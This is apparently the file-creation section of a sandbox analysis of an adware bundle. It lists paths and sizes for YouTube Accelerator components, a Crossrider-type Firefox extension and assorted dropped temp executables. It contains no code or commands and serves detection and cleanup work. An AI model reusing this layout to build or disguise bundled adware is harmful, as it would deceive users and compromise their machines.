%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKF75B.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (5623 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMF95E.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (12513 bytes)
C:\Windows\Temp\SBC3591.tmp (44 bytes)
C:\Windows\Temp\SBC388F.tmp (98 bytes)
C:\Windows\Temp\SBC40B.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2448.log (591 bytes)
C:\Windows\Temp\SBC2616.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2448_YouTubeAcceleratorService.log (218861 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (3076 bytes)
C:\Windows\Temp\SBC3989.tmp (44 bytes)
C:\Windows\Temp\SBC454E.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC3B8D.tmp (51193 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_2041\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_2041\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_29087\ins_shopperpro.exe (20433 bytes)
C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e717629e325f2fb659cf9a4f22716c98.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2582113706d7a9f3a44790a578bcb9aa.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\193b2ce191ad766458e1607b1c8ebf80.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8ec6e6adaf41ee79ed8a616488c46569.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\8f9457b847ee1f061661b5fd078d5bb2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4db42ecc2c41d4b01ad743b12fcced95.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6a148e01d62d1a69d5fc2051ec8b97b5.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2df933242b67fb83f6423c483634a5f8.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\69e077a36f025b76664dfd54bc5b47c6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d4320de5a922df4d7f340d17cf8edcba.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\16aac16e1f0fa87cab0d2c9ce803ba14.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e8697ee33b63d6131958d30a00836192.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4faf3dd10095ed4861221fbe82274ea4.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (627 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\21c330ac7ad40004e222d8a2061ff96f.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\52f71e5c161ed7828bd8883d4d7826aa.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7a2cc1821ef3da12d8cb861a0e11d84a.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f031f62b1eb270d0195b2b13ac3eb133.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\07c8ec17569d596308c641a06e9437b1.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\0347238b81a83cca53269db06484533b.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\81039b2235e7b3e936c722fbb3f223a6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e8ac57db62a72f0ff44d1a977ab1caea.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6de9f9139b289c1c993bb80fb2768820.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9112288f3bf8e967fbaa0d7033bc63ae.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\82ac4c6ce74d92fdb5f3ed18368877f6.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\334ec063fb1752701c997a9c95212839.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d8249f1d735d3f43bf20104e2c772a71.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c1bff699e0f401d76f2b733690592d84.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\34438cb43e6ded5907b3336dbc536af2.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\76205799b3bcb7d0cccbdd33e7132cd7.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e9cf4e4da9a4ce0e4fb8b28f0275fab2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\46c75166025837b72199bc08aafff427.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\489565a1b23ba38380351403bf3aebe0.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e0bf7ef77ad0a97174a08b01b9874c8a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\cd7529e2e9b0c2345d15ed5c89d6ad73.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\63dc2fec9ac583b4a7fdbbe943a9c9e7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c1061b17a667f6718826515687ef7fd8.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3b02fb55cdef6c8f8e92babb201486c1.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\82fe9b626bbd9c5b5847f539b4faf4fe.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6a7f9349d449bcb0e54060105e9d992a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a8145cd66b698f5187f0872de28193ea.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e93b762d63b4db891aad05a7040d78c1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7c9679086cc3f2fcc0d4dc3e7dcb2535.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\FacebookIsGod.dll (2513 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\Fszjsr.tmp (422022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9408.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\Wueqljjrpxyh.exe (7564613 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_b (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_c (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_d (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_e (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI8FE5.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI5E49.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIA4A0.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIFB70.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIA55C.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI31E.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI9015.tmp (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI8FF5.tmp (520 bytes)
C:\Windows\Installer\MSI9146.tmp (520 bytes)
C:\Windows\Installer\MSI93CA.tmp (520 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\5ca17.exe (102443420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp (39020 bytes)
